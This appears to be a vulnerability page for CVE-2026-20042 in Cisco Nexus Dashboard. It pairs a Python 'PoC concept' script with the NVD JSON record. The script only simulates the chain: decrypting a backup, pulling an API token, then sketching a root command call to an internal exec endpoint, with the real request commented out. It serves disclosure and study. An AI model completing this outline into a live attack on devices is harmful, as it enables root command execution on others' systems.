CVE-2026-20042

#!/usr/bin/env python3 # PoC Concept for CVE-2026-20042 # This script simulates the attack chain described: Decrypt backup -> Extract Creds -> Call Internal API import json def decrypt_backup(backup_file, password): # Simulate decryption using the provided password # In a real scenario, this would use the specific encryption algorithm of Cisco Nexus Dashboard print(f"[*] Decrypting {backup_file} with password...") simulated_content = { "config": "...", "secrets": { "internal_api_token": "root_api_token_abc123" } } return simulated_content def extract_credentials(decrypted_data): # Extract authentication details for internal APIs print("[*] Extracting credentials...") return decrypted_data["secrets"]["internal_api_token"] def exploit_internal_api(target_ip, token): # Use the token to access internal API and execute commands print(f"[*] Accessing internal API at {target_ip}...") headers = {"Authorization": f"Bearer {token}"} # Simulated command execution payload payload = {"cmd": "id", "user": "root"} print(f"[+] Executing command as root: {payload['cmd']}") # response = requests.post(f"https://{target_ip}/api/internal/exec", headers=headers, json=payload) if __name__ == "__main__": # Step 1: Attacker obtains backup file and encryption password backup_path = "nexus_backup_encrypted.bin" encryption_password = "admin_password" target_device = "192.168.1.100" # Step 2: Decrypt and Extract data = decrypt_backup(backup_path, encryption_password) api_token = extract_credentials(data) # Step 3: Exploit exploit_internal_api(target_device, api_token)

{"cve": {"id": "CVE-2026-20042", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:26.173", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the configuration backup feature of Cisco Nexus Dashboard could allow an attacker who has the encryption password and access to Full or Config-only backup files to access sensitive information.\r\n\r\nThis vulnerability exists because authentication details are included in the encrypted backup files. An attacker with a valid backup file and encryption password from an affected device could decrypt the backup file. The attacker could then use the authentication details in the backup file to access internal-only APIs on the affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nd-cbid-5YqkOSHu", "source": "[email protected]"}]}}